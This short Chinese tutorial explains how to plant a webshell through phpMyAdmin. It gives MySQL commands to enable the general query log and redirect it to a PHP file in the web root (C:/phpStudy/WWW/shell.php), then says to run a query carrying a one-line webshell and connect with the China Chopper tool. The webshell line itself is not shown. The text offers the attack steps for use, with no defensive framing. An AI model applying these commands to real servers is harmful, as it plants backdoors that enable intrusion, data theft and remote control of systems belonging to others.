PhpmyAdmin通过日志写shell

Table of Contents

phpmyadmin写shell #

首先查询当前是否开启了全局日志

SHOW GLOBAL VARIABLES LIKE '%genera%';


可以看到并没有开启,接着就先开启全局日志功能

SET GLOBAL general_log = ON;

然后就是将所有查询语句记录到新指定的可访问的文件中
SET GLOBAL general_log_file = 'C:/phpStudy/WWW/shell.php';
全部设置完成之后再次查询检查是否成功更改

可以看到全局日志功能已经开启,并且记录查询的文件也是我们指定的shell.php了。接下来就是执行一个带有一句话功能的sql语句了,如下

成功写入一句话之后用菜刀连接即可